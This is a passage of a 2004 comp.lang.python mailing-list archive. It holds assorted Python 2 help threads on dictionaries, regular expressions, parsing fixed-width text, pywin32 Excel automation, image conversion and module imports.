>their members whenever iterated, Set constructors accepting an iterable,
>and files returning their lines whenever iterated.  And of course, on
>`close' rarely being needed in Python! :-)
>
>The order of lines in the produced file is kind of random, however.

That's very compact and neat, but for completeness I'd like to point
out that it could also be written (more clumsily) in one line with
list comprehensions, retaining the same order of elements as in the
original list:

file('pruned_ips.txt', 'w').writelines([ip for ip in file('ips.txt')
                              if ip not in file('excluded_ips.txt')])

Of course, your example using sets is much clearer, so I prefer that.

Dave




From nav+posts at bandersnatch.org  Fri Feb  6 08:40:26 2004
From: nav+posts at bandersnatch.org (Nick Vargish)
Date: 06 Feb 2004 08:40:26 -0500
Subject: Side note:  Praise to the contibuters to this group
References: <DTFPb.15072$AA6.9820@fed1read03>
	<slrnc0va77.1dr.bignose-hates-spam@rose.localdomain.fake>
Message-ID: <m3vfmk9vhx.fsf@tanelorn.bandersnatch.org>

Ben Finney <bignose-hates-spam at and-benfinney-does-too.id.au> writes:

> Its design has at least two
> effects that contribute to the helpfulness of comp.lang.python denizens.

I'd like to add a third: Programming in Python is actually fun, which
makes helping people with their problems a form of entertainment.

Nick

-- 
#  sigmask  ||  0.2  ||  20030107  ||  public domain  ||  feed this to a python
print reduce(lambda x,y:x+chr(ord(y)-1),' Ojdl!Wbshjti!=obwAcboefstobudi/psh?')


From omission9 at invalid.email.info  Thu Feb 19 20:29:46 2004
From: omission9 at invalid.email.info (omission9)
Date: Fri, 20 Feb 2004 01:29:46 GMT
Subject: Complex Nested Dictionaries
In-Reply-To: <40354c35@news.bmi.net>
References: <40354c35@news.bmi.net>
Message-ID: <eqdZb.31132$5W3.19215@nwrddc02.gnilink.net>

T. Earle wrote:

> To list,
> 
> I'm trying to figure out the best approach to the following problem:
> 
> I have four variables:
>    1) headlines
>    2) times
>    3) states
>    4) zones
> 
> At this time, I'm thinking of creating a dictionary, headlinesDB, that
> stores different headlines and their associated time(s), state(s), and
> zone(s). The complexity is that each headline can have one or more times,
> one or more states, and one or more zones.  However, there can only be 1
> zone per time, and 1 zone per state.  What is the best way to tackle this
> particular problem?
> 
> Here's an example of the complexity:
> 
> Let's say we have a "High Wind Warning" for our headline or hazard.  In
> addition, there are currently two "High Wind Warnings" in effect.  The first
> goes from Tonight through Friday morning (i.e., I'll probably store the
> begin/end times in seconds from 1/1/1970).  It affects three counties all in
> the state of Oregon: ORZ047, ORZ048, and ORZ049.  The second High Wind
> Warning is in effect from Friday at Noon through Friday evening.  It affects
> two counties in two separate states:  ORZ044 in Oregon and WAZ028 in
> Washington.  Here's the flow chart:
> 
> High Wind Warning --> time1 --> state1 --> zone1, zone2, zone3
>                                |
>                                --> time2 --> state1 --> zone4
>                                               --> state2 --> zone5
> 
> Keep in mind, each headline or hazard can have multiple times.  Each time
> will have one or more states with each state containing one or more zones.
> Is there a better way than a dictionary.  As mentioned above, the headline
> or hazard is the key I'll be extracting all the information from.
> 
> Thanks in advance,
> 
> Tom

I'd recommend the mx.DateTime package for storing the times instead of 
seconds. That module includes many useful functions may be need so give 
it a look.
http://www.egenix.com/files/python/mxDateTime.html
Secondly, although I am not 100% sure about the stated problem I would 
recommend that instead of nested dictionaries you use a tuple as a 
key,say, headlines[(time,state,zone)]=someValue
 From what you say above it would seem that this would create a unique 
key for all the mentioned situations.



From mwh at python.net  Thu Feb  5 11:32:18 2004
From: mwh at python.net (Michael Hudson)
Date: Thu, 5 Feb 2004 16:32:18 GMT
Subject: integer overflow
References: <V7Cdnagd9Yd0-r_dRVn_vQ@news.rockefeller.edu>
Message-ID: <m3n07x5vxp.fsf@pc150.maths.bris.ac.uk>

Chad Haynes <haynesc at rockefeller.edu> writes:

> I got an odd error which I cannot explain and cannot seem to reproduce.
> The following statement
> 
> 	lst[0] = num
> 
> produced this error
> 
> 	OverflowError: unsigned short is greater than maximum
> 
> The number was around 65536 so it makes sense that it would overflow a
> short, but why is it trying to force it into a short integer?

Is lst an array.array('h') or something (numarray...)?

Cheers,
mwh

-- 
  An encyclopedia is about being as accurate as it can, not being
  evenly misinformed.                     -- Coby Beck, comp.lang.lisp


From bostjan.jerko at mf.uni-lj.si  Tue Feb  3 03:04:09 2004
From: bostjan.jerko at mf.uni-lj.si (=?utf-8?Q?Bo=C5=A1tjan?= Jerko)
Date: Tue, 3 Feb 2004 09:04:09 +0100
Subject: index in "double" list
Message-ID: <20040203080409.GA13118@mf.uni-lj.si>

Hello!

I have a list of lists (e.g. [[1,"a"],[2,"b"],[3,"c"]]) and 
would like to do index on the first element of the lists.
Can it be done?

B.



From mhammond at skippinet.com.au  Thu Feb 12 17:01:32 2004
From: mhammond at skippinet.com.au (Mark Hammond)
Date: Fri, 13 Feb 2004 09:01:32 +1100
Subject: Python and MS Exchange
In-Reply-To: <mailman.12.1076608969.698.python-list@python.org>
References: <mailman.12.1076608969.698.python-list@python.org>
Message-ID: <c0gt44$o7j$1@arachne.labyrinth.net.au>

Lindstrom Greg - glinds wrote:

> I'm using python 2.3 and Windows 2000 "Professional" to access a Microsoft
> Exchange Server to monitor messages and perform various tasks around the
> office.  My little program is attracted quite a bit of attention and I have
> been asked to add some features, but I don't know how to do a couple of
> things.  Can anyone either help me out with the details, or point me to
> where I can get the information?  Here's my task list:
> 
> 1.  Create a folder for the mailbox.  For example, I would like to have a
> "Processed" folder where I can move messages once they have been processed.
> 
> 2.  How can I check to see if a folder exists?
> 
> 3.  Can I access the allotted size of a folder to determine if I have room
> to post messages?
> 
> 4.  How do I move a message to the folder I just created?
> 
Can you tell us what object model you are using?  Provide a little 
sample code to give us a clue.

1) If you are yusing MAPI, there is a CreateFolder method.
2) Try to open it, and if it fails, check the error code.
3) This is probably in a property on the folder.  Check the Exchange 
forums for what folder property you need.
4) A "Move" method.

Check out the SpamBayes project, and look at the source code to the 
Outlook Addin - in general, this uses MAPI (which is basically the 
'exchange object model'), but also does a few things via the Outlook 
object model - so you get a few examples of both.  MAPI has a bigger 
learning curve, but is more powerful and faster.

Mark



From claird at lairds.com  Thu Feb  5 14:55:17 2004
From: claird at lairds.com (Cameron Laird)
Date: Thu, 05 Feb 2004 19:55:17 -0000
Subject: Funnying the From (was: OT: Recommended news reader?)
References: <4f0a9fdb.0402031309.fde7220@posting.google.com>
	<m3y8rhbenz.fsf@tanelorn.bandersnatch.org>
	<y8rh9zfx.fsf@python.net>
Message-ID: <10257t58fdgvi67@corp.supernews.com>

In article <y8rh9zfx.fsf at python.net>,
Thomas Heller  <theller at python.net> wrote:
			.
			.
			.
>I'm a very happy XEmacs user (although I'm mostly on Windows), but it
>seems gnus really takes its time to master.
>
>But I was very astonished to see that no other mail/news client I have
>examined allows customizing the From: address depending on the folder or
>group you are currently in.  Can that really be true?
>
>Thomas

I didn't know that "From:" *could* be customized through
common configurations.  Does anyone know how to set it
with trn(1)?  I'm not even asking for switches between
groups; just correcting my domain name to its correct
public form from whatever it is now would be a good first
step.
-- 

Cameron Laird <claird at phaseit.net>
Business:  http://www.Phaseit.net


From klapotec at chello.at  Mon Feb  9 07:59:30 2004
From: klapotec at chello.at (Christopher Koppler)
Date: 9 Feb 2004 04:59:30 -0800
Subject: Replace Pattern
References: <6f878011.0402082345.69d74d13@posting.google.com>
Message-ID: <d28ac2c5.0402090459.5e980592@posting.google.com>

mas at semafor.ch (Sorin Marti) wrote in message news:<6f878011.0402082345.69d74d13 at posting.google.com>...
> Hello all,
> 
> I am quite new to python and want to do the following:
> 
> - open a file (done)
> - read each line (done)
> - search a pattern in the file and replace it
> - write the new file
> 
> I want to replace the date. example: 
> INSERT INTO organization VALUES ('Brussels','Brabant','23 10 1954');
> 
> should be:
> INSERT INTO organization VALUES ('Brussels','Brabant','1954-10-24');
> 
> What i've done:
> 
> import os,sys
> try:
>         fi = open('test.sql', 'r')
>         while fi.readline():
>             line = fi.readline();
>         
> except IOError:
>         print 'Can\'t open file for reading.'
>         sys.exit(0)
> 
> Thanks for any help.

how 'bout this:

import re

pattern = r"(\d\d) (\d\d) (\d\d\d\d)"
replacement = r"\3-\2-\1"

try:
    infile = file('test.sql', 'r')
    outfile = file('new.sql', 'w')
except IOError:
    print "Can't open file."
else:
    for line in infile:
        modified = re.sub(pattern, replacement, line)
        outfile.write(modified)
    infile.close()
    outfile.close()


--
Christopher


From no.mail at no.mail.it  Sun Feb  8 11:58:25 2004
From: no.mail at no.mail.it (robsom)
Date: Sun, 8 Feb 2004 16:58:25 +0000 (UTC)
Subject: splitting tables
References: <pan.2004.02.07.20.09.11.437775@no.mail.it>	<c03mu7$t1h$0@216.39.172.122>
Message-ID: <pan.2004.02.08.16.59.56.799134@no.mail.it>

Il Sat, 07 Feb 2004 21:56:23 +0000, Bengt Richter ha scritto:


>  >>> s = """\
>  ... CGA 1990 08 15 13 16 G500-105 D   524.45 J.. R1 1993 01 29 00 00 900069
>  ... CGA 1990 08 16 01 22          D   508.06 J.. R1 1993 01 27 00 00 900065
>  ... """
>  >>> import re
>  >>> rxo = re.compile(
>  ...     '(...) (....) (..) (..) (..) (..) (........) (.)   '
>  ...     '(......) (...) (..) (....) (..) (..) (..) (..) (......)'
>  ... )
>  >>> import csv
>  >>> import sys
>  >>> writer = csv.writer(sys.stdout)
>  >>> for line in s.splitlines():Apparently my system doesn't have a 
>  >>> writer.writerow(*rxo.findall(line))
>  ...
>  CGA,1990,08,15,13,16,G500-105,D,524.45,J..,R1,1993,01,29,00,00,900069
>  CGA,1990,08,16,01,22,        ,D,508.06,J..,R1,1993,01,27,00,00,900065
> 
> To write the csv lines to a file instead of sys.stdout, substitute
> (untested) file('your_csv_output_file.csv') in place of sys.stdout in
> the above, and get your lines from something like (note chopping off the
> trailing newline)
> 
>     for line in file('your_table_file'):
>         line = line.rstrip('\n')
> 
> instead of
> 
>     for line in s.splitlines()
> 
> If you have possible short lines that create no match, you'll need to
> check for those before unpacking (by using the prefixed *) into
> writer.writerow's arg list.

I'm not sure I completely understand what you are suggesting. Use a sort
of "mask" to extract information from the line and put it into a string?
And the use some function of the csv module (which I don't have) to
manipulate this string and output it?
If I got it correct this would work only if all the elements of the
columns have the same number of characters which is not always the case as
I was saying in my reply to Karl Pfl?sterer above.
Any other idea? Thanks

R




From boober95 at rogers.com  Thu Feb 26 23:56:01 2004
From: boober95 at rogers.com (Bill)
Date: Fri, 27 Feb 2004 04:56:01 GMT
Subject: Anyone using the SOAPpy library?
Message-ID: <B5A%b.77175$RTW1.72970@news01.bloor.is.net.cable.rogers.com>

Is anyone using the SOAPpy library?  I just started looking at this was was 
pretty impressed with how easy it is to set up a server, the readme gives a 
short example of a 'hello' sever/client.

But I realized the server doesn't deal with multiple requests, if you set 
up a more serious and send something to the server, then a second, it waits 
until the first is completed.  Now what I'd like to do is have it deal with 
multiple client at a time.  I've seen proxies and it looks like the way to 
do it is with asyncore (and maybe asynchat) but haven't figured it out.

Could anyone tell how it is done, or point me in the right direction?

Thanks, Bill



From jzgoda at gazeta.usun.pl  Sat Feb 14 02:23:51 2004
From: jzgoda at gazeta.usun.pl (Jarek Zgoda)
Date: Sat, 14 Feb 2004 07:23:51 +0000 (UTC)
Subject: importing other .py files
References: <9cb30de6.0402132017.329c4859@posting.google.com>
Message-ID: <c0kie6$6jk$1@nemesis.news.tpi.pl>

Eric <thenew_ebryant at yahoo.com> pisze:

> I created a file called TwoFourNode.py that has two classes, a tree
> class and a node class.  in a tester file I want to build my 2-4 tree,
> but how do I import the TwoFourNode class?

Use import statement.

http://www.python.org/doc/current/tut/node8.html

-- 
Jarek Zgoda
http://jpa.berlios.de/


From ptmcg at austin.stopthespam_rr.com  Mon Feb 16 21:29:44 2004
From: ptmcg at austin.stopthespam_rr.com (Paul McGuire)
Date: Tue, 17 Feb 2004 02:29:44 GMT
Subject: overriding method that returns base class object
References: <4031441c$0$202$75868355@news.frii.net>
	<4031481B.90B31C73@engcorp.com>
	<40315037$0$199$75868355@news.frii.net>
	<c0rmod$gso$1@panix3.panix.com>
Message-ID: <s0fYb.16252$M76.15389@fe2.texas.rr.com>

"Aahz" <aahz at pythoncraft.com> wrote in message
news:c0rmod$gso$1 at panix3.panix.com...
<snip>
>
> class A:
>     def a(self):
>         return self.__class__()
> --
OP can't do this, can't get at source code of A.

Assuming that you don't want to write __init__() to take an A argument, you
need something like:

class B(A):
    def makeFromAnA(other):  # other is an A instance
        # construct a B - could pass initialization args from
        # other if this is part of the interface
        newB = B()

        # ... copy base class A fields from other to newB here ...

        # ... add B-ish stuff to newB here ...

        return newB
    makeFromAnA=staticmethod(makeFromAnA)

    def a(self):
        return B.makeFromAnA( A.a() )

Here's an example:
import random
class Point2D(object):  # pretend this is implemented in C, so we can't
change the code
    def __init__(self,xval,yval):
        self.x = xval
        self.y = yval
    def randomPoint():
        return Point2D( random.random()*100, random.random()*100 )
    randomPoint=staticmethod(randomPoint)

class Point3D(Point2D):  # not really good O-O design, but that's not the,
um, point
    def __init__(self,xval,yval,zval):
        self.x = xval
        self.y = yval
        self.z = zval
    def make3DPtFrom2DPt(other):
        print "Make 3D pt from",other
        return Point3D(other.x,other.y,0)
        # or if the __init__'s are not similar,
        # manually assign fields
        newPt3D = Point3D(0,0,0)
        newPt3D.x = other.x
        newPt3D.y = other.y
        return newPt3D
    make3DPtFrom2DPt=staticmethod(make3DPtFrom2DPt)
    def randomPoint():
        newPt = Point3D.make3DPtFrom2DPt( Point2D.randomPoint() )
        newPt.z = random.random()*100
        return newPt
    randomPoint=staticmethod(randomPoint)

print Point2D.randomPoint()
print Point3D.randomPoint()

-- Paul




From news at woody.datatailors.com  Fri Feb 27 05:45:24 2004
From: news at woody.datatailors.com (Peter van Kampen)
Date: Fri, 27 Feb 2004 11:45:24 +0100
Subject: Internet-scale distributed computing?
References: <mailman.182.1077835454.8594.python-list@python.org>
Message-ID: <slrnc3u7u3.lo2.news@woody.datatailors.com>

In article <mailman.182.1077835454.8594.python-list at python.org>, Skip Montanaro wrote:
> 
> Failing to find any obvious references with some googling, I turn to the
> Python folks who have lots of information about lots of different
> application domains.
> 
> I'm sure many of you are aware of SETI at Home, Folding at Home and Google
> Compute, all tools to tackle certain large computational problems on an
> Internet scale, typically by soaking up unused cycles on otherwise idle
> computers.  A bit of googling didn't turn up any others, so I'm wondering:
> 
>     1. Are there other active projects similar to SETI at Home or Folding at Home?
> 
>     2. Are there tools available to make it easier to build such
>        applications?

This may be of interest to you:

http://distributed.net/source/

PterK

-- 
Peter van Kampen
pterk -- at -- datatailors.com


From noemail at noemail4u.com  Wed Feb  4 14:45:00 2004
From: noemail at noemail4u.com (Dang Griffith)
Date: Wed, 04 Feb 2004 19:45:00 GMT
Subject: Line Text Parsing
References: <5b4785ee.0311150736.48aef621@posting.google.com>
	<mailman.765.1068940219.702.python-list@python.org>
	<Xns948575A2C930Aacuencacanadacom@198.161.157.145>
Message-ID: <847d4f646372312953cc3ff08c9d0b53@news.teranews.com>

On Wed, 04 Feb 2004 19:35:52 GMT, allanc
<kawNOSPAMenks at nospamyahoo.ca> wrote:

>I'm new with python so bear with me.
>
>I'm looking for a way to elegantly parse fixed-width text data (as opposed 
>to CSV) and saving the parsed data unto a database. The text data comes 
>from an old ISAM-format table and each line may be a different record 
>structure depending on key fields in the line.
>
>RegExp with match and split are of interest but it's been too long since 
>I've dabbled with RE to be able to judge whether its use will make the 
>problem more complex.
>
>Here's a sample of the records I need to parse:
>
>01508390019002      11284361000002SUGARPLUM
>015083915549           SHORT ON LAST ORDER 
>0150839220692 000002EA BMC   15 KG   001400
>
>1st Line is a (portion of) header record.
>2nd Line is an text instruction record.
>3rd Line is a Transaction Line Item record.
>
>Each type of record has a different structure. But these set of lines 
>appear in the one table.

Are the key fields in fixed positions?  If so, pluck them out and use
them as an index into a dictionary of functions to call.  I can't tell
from your example where the keys are, so I'm assuming the first 8 are
simply a line number and the next 4 are the key.

Maybe something along these lines:

def header(x):
    print 'header: %s' % x # process header

def testinstruction(x):
    print 'test instruction: %s' % x # process test instruction

def lineitem(x):
    print 'lineitem: %s' % x # process line item

ptable = {'0190':header, '5549': testinstruction, '2069': lineitem}

for line in file("data.dat"):
    ptable[line[8:12]](line)

    --dang


From bignose-hates-spam at and-benfinney-does-too.id.au  Tue Feb 10 19:50:57 2004
From: bignose-hates-spam at and-benfinney-does-too.id.au (Ben Finney)
Date: 11 Feb 2004 11:40:57 +1050
Subject: splitting tables
References: <pan.2004.02.07.20.09.11.437775@no.mail.it>
	<m3ad3usiop.fsf@hamster.pflaesterer.de>
	<pan.2004.02.08.14.03.15.475979@no.mail.it>
	<m365ehplku.fsf@hamster.pflaesterer.de>
	<pan.2004.02.10.01.05.20.183909@no.mail.it>
	<m31xp2kh2c.fsf@hamster.pflaesterer.de>
	<pan.2004.02.11.00.00.36.241758@no.mail.it>
Message-ID: <slrnc2j091.14m.bignose-hates-spam@rose.localdomain.fake>

On Wed, 11 Feb 2004 00:44:18 +0000 (UTC), robsom wrote:
> I'm beginning to appreciate Python even though at first I hated this
> indentation thing

Yup.  Just because something seems limiting doesn't mean it is.

> and I (still) don't like the "for in range()" way to build loops.

The "for index in range( size )" is mostly recommended as a way to loop
over a list; range( size ) will elegantly generate a sequence of indices
into a list of size "size".

What is it you don't like?


> Il Tue, 10 Feb 2004 18:09:33 +0100, Karl Pfl?sterer ha scritto:
>> No.  The split method is a method of strings.  Since line is a string
>> you call here a method of a string object.
>
> Ok, but then why if I write this
>
> for line in fin.readlines():
> 	line = split(line)
>
> it does work anyway?

Because somewhere earlier in that code you must have imported the name
'split' into the base namespace.  It's not there to begin with (and
importing it is needlessly polluting the base namespace).


> Are there two ways to use the same function?

They're two different functions.  One is a method of string objects, one
is a function you've imported from somewhere.  (This confusion is partly
why importing symbols into the base namespace is a bad idea.)

-- 
 \         "I think a good gift for the President would be a chocolate |
  `\   revolver. And since he's so busy, you'd probably have to run up |
_o__)           to him real quick and hand it to him."  -- Jack Handey |
Ben Finney <http://bignose.squidly.org/>


From soheilb at sympatico.ca  Tue Feb 24 21:15:55 2004
From: soheilb at sympatico.ca (soheil2.rm)
Date: Wed, 25 Feb 2004 02:15:55 -0000
Subject: Regular Expressions?
Message-ID: <c1h0gr+ikvn@eGroups.com>

I want to use a regular expression like the following: 

"*[\s|\w]*" + x +"[\s|\w]*\" + y + "*[\s|\w]*\" + y + "*[\s|\w]*"

where x and y and varaiblae names and their value changes everytime. 
For some reason this gives me an Invalid Token error. Can I use 
variables in a regular Expression?

thanks a lot




From Vincent.Raaijmakers at ge.com  Tue Feb  3 15:57:06 2004
From: Vincent.Raaijmakers at ge.com (Raaijmakers, Vincent (GE Infrastructure))
Date: Tue, 3 Feb 2004 14:57:06 -0600
Subject: JPG - PNG conversion problem
Message-ID: <971323274247EB44B9A01D0A3B424C8505DC387B@FTWMLVEM02.e2k.ad.ge.com>

The 64k is measured as a size in memory, not on disk

This is how I measured the size:
blob = Blob()
image = Image("foo.jpg")
image.magick = "PNG"
image.depth = 8
image.write(blob)
print size(blob.data)

In my case, the data has to be "streamed" to another desktop, for that reason I use Blob here.
(Actualy, when I write the image to disk, still the same size...)

Why PNG....., I have to. The application that needs my processed images only accepts PNG. No control over that.
I know, pretty poor, but that is just the fact.

So my hope is that the way how I do the coversion in Magick is wrong. Just hoping for someone who discovered the same issue and knows the solution!

Vincent


-----Original Message-----
From: python-list-bounces+vincent.raaijmakers=ge.com at python.org
[mailto:python-list-bounces+vincent.raaijmakers=ge.com at python.org]On
Behalf Of Dietrich Epp
Sent: Monday, February 02, 2004 9:14 PM
To: Python List
Subject: Re: JPG - PNG conversion problem



On Feb 2, 2004, at 9:32 AM, Raaijmakers, Vincent ((GE Infrastructure)) 
wrote:

> Yes I did.
>
> image.depth = 8
>
> But it didn't help, the 64k is the image file size having 256 colors.

160 * 120 = 19200

So something is wrong.  First of all, PNG compressions is usually 
around 2:1 to 4:1.  JPG compression often still looks acceptable at 
10:1 or higher.  Second of all, depth is bits per sample.  8-bit RGB 
takes up 24 bits per pixel.  The depth is probably 8 already.  What you 
want to do is convert the image to indexed color.

My guess is the reason your file takes up 64k on your hard drive is 
that your file system is rounding up to the nearest block.  Try to find 
out the exact number of bytes, it's undoubtedly smaller.  Create a text 
file on your drive that only contains one letter, then tell us what the 
size is.  Due to the type of compression that PNG uses, the worst case 
scenario is a little more than 57k.

Now comes the part where I question your motives... what is wrong with 
JPEG?  Converting JPEG to PNG indexed is practically the worst case 
scenario for image conversion.  You get big file sizes, dithering, and 
JPEG artifacts all in one image!  I can think of worse conversions, but 
they involve things like transmitting the raw image data over an RS232 
connection without error connection up an elevator shaft. 
  


-- 
http://mail.python.org/mailman/listinfo/python-list



From mjordan at adobe.com  Thu Feb 12 14:06:58 2004
From: mjordan at adobe.com (Michael Jordan)
Date: Thu, 12 Feb 2004 19:06:58 GMT
Subject: pywin32 COM Problem with Excel Range Offset?
References: <tCeWb.1421$VP1.966333@newshog.newsread.com>
	<GLtWb.263$tL3.182@newsread1.news.pas.earthlink.net>
Message-ID: <m9QWb.1723$h86.1281558@monger.newsread.com>

Thanks jr! That did the trick, I now get the offset range that I want.
Thanks again for the assistance.

Michael


"jr" <grreeder at ix.netcom.com> wrote in message
news:GLtWb.263$tL3.182 at newsread1.news.pas.earthlink.net...
>
> "Michael Jordan" <mjordan at adobe.com> wrote in message
news:tCeWb.1421$VP1.966333 at newshog.newsread.com...
> > I'm hoping that someone here can give me some insight into a problem I'm
> > running into with Python, pywin32 and Excel. All-in-all using Python and
> > pywin32 is great but I've run into a strange problem with the range
Offset
> > property, I'm not getting the correct offset and the returned range is a
> > single cell and not the same size as the original range.
> >
> > For example, when I enter the following lines of code in PythonWin :
> >
> > from win32com.client import Dispatch
> > xlApp = Dispatch('Excel.Application')
> > xlApp.Visible = 1
> > rng1 = xlApp.Range(xlApp.Cells(8,3),xlApp.Cells(20,6))
> > rng1.Select()
> > rng2 = rng1.Offset(2,2)
> > rng2.Select()
> >
> > rng1 correctly defines and selects cells C8:F20 but rng2 is incorrectly
> > defined as D9 instead of E10:H22.
> >
> > Digging a little further if I look at the cell sizes for the two ranges
I
> > get the following:
> >
> > >>> rng1.Count
> > 52
> > >>> rng2.Count
> > 1
> >
> > What's going on with the Offset property? If I enter the equivalent VBA
code
> > into the Immediate window from the Visaul Basic Editor within Excel I
get
> > the correct behavior. Is this a pywin32 bug?
> >
> > My configuration:
> >     pywin32 (build 200) {I got the lastest version to see if this would
fix
> > the problem - it didn't}
> >     Python 2.3.3
> >     MS Excel 2002
> >     Windows XP
> >
> > Any insight into this problem will be greatly appreciated.
> >
> > Michael
> >
> >
>
> Use: GetOffset(2, 2) instead.
> For some reason gen.py changes "Offset()" to
> "GetOffset()"
>
> HTH
> jr
>
>
>




From sigurd at 12move.de  Wed Feb  4 18:01:50 2004
From: sigurd at 12move.de (Karl =?iso-8859-1?q?Pfl=E4sterer?=)
Date: Thu, 05 Feb 2004 00:01:50 +0100
Subject: dictionary question
References: <bvrp9s$hhp$1@nsnmrro2-gest.nuria.telefonica-data.net>
Message-ID: <m38yjicv0u.fsf@hamster.pflaesterer.de>

On  4 Feb 2004, Jos? Carlos <- josecarlos at siadv.com wrote:

> i have a dictionary. inside this dictionary i have several list and inside
> each list i have data.

> How can i do for add data to these list.

> conex = {'tipoconex': ['1', '0'], 'conexionS': ['cliente1', 'cliente2'],
> 'clave': ['pepo', 'joan'], 'usuario': ['pepe', 'juan']}

If you write conex[Key] the object returned is the corresponding value;
if the value is a list you can use all list methods with that object.

E.g:

>>> conex = {'tipoconex': ['1', '0'], 'conexionS': ['cliente1', 'cliente2'],
...           'clave': ['pepo', 'joan'], 'usuario': ['pepe', 'juan']}
>>> conex['clave'].append('juan')
>>> conex
{'clave': ['pepo', 'joan', 'juan'], 'conexionS': ['cliente1',
'cliente2'], 'tipoconex': ['1', '0'], 'usuario': ['pepe', 'juan']}
>>> 


   KP

-- 
    'Twas brillig, and the slithy toves
        Did gyre and gimble in the wabe;
    All mimsy were the borogoves,
         And the mome raths outgrabe.   "Lewis Carroll" "Jabberwocky"


From vincent at visualtrans.de  Sun Feb 29 16:03:30 2004
From: vincent at visualtrans.de (vincent wehren)
Date: Sun, 29 Feb 2004 22:03:30 +0100
Subject: Best way to create a Dictionary from file of Key-Value pairs?
References: <692feddd.0402291222.6f2d619e@posting.google.com>
Message-ID: <c1tk37$ljo$1@news4.tilbu1.nb.home.nl>


"Equis Uno" <ir4u4 at yahoo.com> schrieb im Newsbeitrag
news:692feddd.0402291222.6f2d619e at posting.google.com...
| Hi,
|
| Assume I'm given a 100k file full of key-value pairs:
|
| date,value
| 26-Feb-04,36.47
| 25-Feb-04,36.43
| 24-Feb-04,36.30
| 23-Feb-04,37.00
| 20-Feb-04,37.00
| 19-Feb-04,37.87
|
| What is the best way to copy this data into a Dictionary object?

If it suffices ro generate a "string-to-string mapping", you could do:

>>> d = {}
>>> for line in file("infile"):
        k, v  = line.rstrip().split(",")
        d[k] = v

This will give you:

{'20-Feb-04': '37.00', '19-Feb-04': '37.87', '26-Feb-04': '36.47',
'23-Feb-04': '37.00', '25-Feb-04': '36.43', '24-Feb-04': '36.30'}

HTH,
Vincent Wehren



|
| -moi




From jcarlson at nospam.uci.edu  Fri Feb 13 20:14:57 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Fri, 13 Feb 2004 17:14:57 -0800
Subject: Maintaining a list
In-Reply-To: <b4a8ffb6.0402131633.1cb220d6@posting.google.com>
References: <b4a8ffb6.0402131633.1cb220d6@posting.google.com>
Message-ID: <c0jsv4$jr6$2@news.service.uci.edu>

Thomas Philips wrote:

> I'm teaching myself programming using Python and want to build a list
> inside a function (rather like using a static variable in a Fortran
> subroutime - the list must not disappear as soon as the subroutine is
> exited). What's the simplest way to do this?
[snip]
> The list must be initialized to an empty list before the first call,
> and must be preserved between calls. I have not got to object oriented
> programming as yet, so please keep the solution simple.

Work your way through these interactions.

 >>> def myrutine(x, mylist=[]):
...     mylist.append(x)
...     print mylist
...
 >>> myrutine(1)
[1]
 >>> myrutine(2)
[1, 2]
 >>> myrutine(10)
[1, 2, 10]
 >>> b = []
 >>> myrutine(1, b)
[1]
 >>> b
[1]
 >>> myrutine(8)
[1, 2, 10, 8]
 >>> b
[1]
 >>>

One thing you need to remember is that list.append() returns None, not a 
new list.

  - Josiah


From matt at cynetix.co.uk  Fri Feb 13 11:26:50 2004
From: matt at cynetix.co.uk (Matt Whiteley)
Date: Fri, 13 Feb 2004 16:26:50 -0000
Subject: Import no longer works in Python 2.3.x
References: <w6wWb.1$MQ1.0@news-binary.blueyonder.co.uk>
	<e9570f37.0402112041.1890c686@posting.google.com>
Message-ID: <_U6Xb.5775$ul3.1653@news-binary.blueyonder.co.uk>

Hmmm, that messes up all my imports from all over my code and it's all
worked before so I'd rather not. I also wanted the code to be able to run
straight out of the box without people having to hard code the paths.

Thanks anyway though!

"Graham Fawcett" <graham__fawcett at hotmail.com> wrote in message
news:e9570f37.0402112041.1890c686 at posting.google.com...
> "Matt Whiteley" <matt at cynetix.co.uk> wrote in message
news:<w6wWb.1$MQ1.0 at news-binary.blueyonder.co.uk>...
> > I have some python code in a directory called customModules and this
sits
> > under the main directory which contains a piece of server.py code. Under
> > 2.1.x and 2.2.x, I did the following in server.py :
> >
> > import time, sys
> > sys.path += ['./customModules']
> >
> > from requestHandler import inputHandler
> >
> > and that allowed me to reference the requestHandler (stored in the
> > customModules directory) code without having to use
> > customModules.requestHandler every time. Under 2.3.x this doesn't work
> > anymore and I get a "ImportError: cannot import name inputHandler"
error.
> > Can anyone shed some light on why this is and how I can get around it
> > please.
>
> Unless there's something going on here that's not clear from your
> example, you can just add an __init__.py to your customModules
> directory, and then use
>
> from customModules.requestHandler import inputHandler
>
> Adding __init__.py creates a "pacakge" out of the subdirectory, and
> obviates the sys.path manipulations. See the "Packages" section at
> http://www.python.org/doc/current/tut/node8.html for more information.
>
> -- Graham




From tismer at stackless.com  Sat Feb 21 14:14:33 2004
From: tismer at stackless.com (Christian Tismer)
Date: Sat, 21 Feb 2004 20:14:33 +0100
Subject: Stackless 3.0 for Python 2.3: new binaries
Message-ID: <4037AE19.4030705@stackless.com>

New Win32 binaries have been uploaded to the Stackless website.

Some compatibility issues with certain constructors
have been solved.

Please let me know of any problems.

more to come soon - cheers -- chris
-- 
Christian Tismer             :^)   <mailto:tismer at stackless.com>
Mission Impossible 5oftware  :     Have a break! Take a ride on Python's
Johannes-Niemeyer-Weg 9a     :    *Starship* http://starship.python.net/
14109 Berlin                 :     PGP key -> http://wwwkeys.pgp.net/
work +49 30 89 09 53 34  home +49 30 802 86 56  mobile +49 173 24 18 776
PGP 0x57F3BF04       9064 F4E1 D754 C2FF 1619  305B C09C 5A3B 57F3 BF04
      whom do you want to sponsor today?   http://www.stackless.com/






From myaskingquestions at yahoo.com  Mon Feb  9 12:40:36 2004
From: myaskingquestions at yahoo.com (BB)
Date: 9 Feb 2004 09:40:36 -0800
Subject: Passing pointer parameters to a C++ function call from a pythin
	script
Message-ID: <df853e0b.0402090940.49ed035a@posting.google.com>

I am calling my C++ function (in a DLL) from a python script as
follows:
_dllcall('add','ll','l',(var1,var2))

This works fine if the 2 parameters accepted by the function are
normal "long" type.

If the function expects a pointer type parameter then the same way of
passing the parameter doesn't work. For example if the C++ function
expects a "long *" and I am calling it as:
_dllcall('multiply','l','l',(var1))

then in this case it fails.

Can anybody point out what could be the culprit :-)

What I understood from some python documention that I saw was that
python internally treats all parameters as passed by reference.


From jcarlson at nospam.uci.edu  Thu Feb  5 15:22:10 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Thu, 05 Feb 2004 12:22:10 -0800
Subject: wxPython issues
In-Reply-To: <tg8520h4n4nv62hes4r9buoigstt9ouhgc@4ax.com>
